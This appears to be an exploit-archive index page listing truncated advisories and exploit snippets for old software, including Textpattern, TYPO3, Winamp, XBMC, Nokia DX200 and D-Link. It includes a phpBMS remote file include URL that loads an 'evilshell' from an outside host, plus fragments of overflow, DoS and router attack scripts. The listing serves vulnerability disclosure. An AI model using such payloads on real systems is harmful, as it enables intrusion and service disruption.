Basic Web Server 1.0 Denial Of Service

------------------------------------------------------------------------ Software................Basic Web Server 1.0 Vulnerability...........Denial Of Service Download................http://www.bit4free.com/ Release Date............9/16/2010 Tested On...............Windows XP...

Textpattern 4.2.0 (txplib_db) Null Termination Cross-Site Scripting Vulnerability

Summary Textpattern is an open source content management system unlike any other; it allows you to easily create, edit and publish content and make it beautiful in a professional, standards-compliant manner. Description Textpattern CMS version 4.2.0 suffers from a XSS vulnerability. Input passed...

phpcrs <= 3.Za / Local File Inclusion Vulnerability

Exploit for php platform in category web applications =================================================== phpcrs Software Link: http://sourceforge.net/projects/phpcrs/ Version: eNYe-Sec - www.enye-sec.org --Bug -- 123. elseif isset$POST'btnStartImport' 124...

Cisco CHAP Authentication Vulnerabilities - Cisco Systems

A serious security vulnerability bug ID CSCdi91594 exists in PPP CHAP authentication in all "classic" Cisco IOS software versions the software used on Cisco non-switch products with product numbers greater than or equal to 1000, on the AGS/AGS+/CGS/MGS, and on the CS-500, but not on Catalyst...

TYPO3 Security Bulletin

It has been discovered that the extension phpMyAdmin phpmyadmin is vulnerable to Broken Access Control. Component Type: Third party extension. This extension is not a part of the TYPO3 default installation. Affected Versions: Version 4.1.0 till 4.8.0 including Vulnerability Type: Broken Access...

Multiple vulnerabilities in TYPO3 Core

It has been discovered that TYPO3 Core is vulnerable to Cross-Site Scripting XSS, Open Redirection, SQL Injection, Broken Authentication and Session Management, Insecure Randomness, Information Disclosure, Arbitrary Code Execution Component Type: TYPO3 Core Affected Versions: 4.1.13 and below,...

nuBuilder 10.04.20 - Local File Inclusion

------------------------------------------------------------------------ Software................nuBuilder 10.04.20 Vulnerability...........Local File Inclusion Download................http://sourceforge.net/projects/nubuilder/files/ Release Date............7/5/2010 Tested On...............Window...

Microsoft Releases Advance Notification for July Security Bulletin

Microsoft has issued a Security Bulletin Advance Notification, indicating that its July release will contain four bulletins. Three bulletins will have the severity rating of critical and will be for Microsoft Windows and Office. The remaining bulletin will have the severity rating of important an...

Bit Weaver 2.7 Cross Site Scripting

------------------------------------------------------------------------ Software................Bit Weaver 2.7 Vulnerability...........Reflected XSS Download................http://www.bitweaver.org/ Release Date............7/5/2010 Tested On...............Windows Vista + XAMPP...

TornadoStore 1.4.3 SQL Injection Vulnerability

Exploit for php platform in category web applications ============================================== TornadoStore 1.4.3 SQL Injection Vulnerability ============================================== 1. Advisory Information Title: Multiple SQL Injection in TornadoStore 1.4.3 Advisory ID:...

Adobe Photoshop CS4 Extended 11.0 GRD File Handling Remote Buffer Overflow

/ Title: Adobe Photoshop CS4 Extended 11.0 GRD File Handling Remote Buffer Overflow PoC Summary: The Adobe® Photoshop® family of products is the ultimate playground for bringing out the best in your digital images, transforming them into anything you can imagine and showcasing them in extraordina...

OSSIM v2.1.5 Remote Command Execution

Exploit for unknown platform in category web applications ===================================== OSSIM v2.1.5 Remote Command Execution ===================================== Advisory Name: Remote Command Execution in OSSIM Vulnerability Class: Remote Command Execution Release Date: 12-16-2009...

Multiple vulnerabilities in third party extensions

Several vulnerabilities have been found in the following third party TYPO3 extensions: Car car, TYPO3 Watchdog abawatchdog, File list drblob, ListMan nllistman, XDS Staff List xdsstaff, Document Directorys danpdocumentdirs, Random Prayer Version 2 steprayer2, Diocese of Portsmouth Resources...

WinAMP 5.551 MAKI Parsing Integer Overflow

/ Winamp 5.551 MAKI Parsing Integer Overflow Exploit !!! Tested on :Vista sp1 and Xpsp3 Release Date :May 22 2009 Venders web site :http://www.winamp.com/ Version Tested:Winamp 5.551 Not vulnerable :Winamp 5.552 Credits to Monica Sojeong Hong down at vrt-sourcefire for the overflow...

XBMC 8.10 - takescreenshot Remote Buffer Overflow

XBMC 8.10 - takescreenshot Remote Buffer Overflow !/usr/bin/env python ''' Xbmc takescreenshot request remote buffer overflow 8.10 !!! Tested:Win xp sp2 eng Vendor url:http://xbmc.org/ Release date:April the 1st 2009 versions affected: Linux windows tested other versions are also possibly affecte...

Nokia DX200 Denial Of Service

Vulnerability: Nokia TCP Syn Flood DoS - DX200 Synopsis : Denial of Service Affected Platforms: DX200 M13 MGW/HLR, S12 BSC Severity: High Risk Vendor: Nokia http://www.nokia.com/ Exploit Release Date: 01/21/2009 By: tambarus [email protected] !/usr/bin/perl eval "use Getopt::Long;";die "error...

Quassel IRC: connection hijacking

Quassel IRC http://quassel-irc.org/ is "a modern, cross-platform, distributed IRC client". A vulnerability in the CTCP handling allows an attacker to trick Quassel IRC into sending arbitrary commands to the IRC server. This can be used by an attacker for example to gain operator privileges on a...

dlink.txt

!/bin/bash Coded Bt Ph3mt Of K-Security Team This Code is private, pls do not redistribute Release Date 25/11/2007 Code function dow echo 'POST /cgi-bin/firmwarecfg HTTP/1.1' richiesta echo 'Host: $IP' richiesta echo 'User-Agent: veryprivateacsor' richiesta echo 'Accept:...

phpbms-rfi.txt

PhpBMS 0.92 Remote File Include Exploit ------------------------------| Release date :2007-11-13 13:04| ------------------------------| -------| Exploit| -------| -------------------------------------------------------------------- http://site.net/cron.php?schedulerecord=http://host.com/evilshell...

[vuln.sg] IBM Lotus Notes Attachment Viewer Buffer Overflow Vulnerabilities

vuln.sg Vulnerability Research Advisory IBM Lotus Notes Attachment Viewer Buffer Overflow Vulnerabilities by Tan Chew Keong Release Date: 2007-10-23 Summary ------- Multiple exploitable buffer overflow vulnerabilities were found within the file attachment viewer in IBM Lotus Notes. The...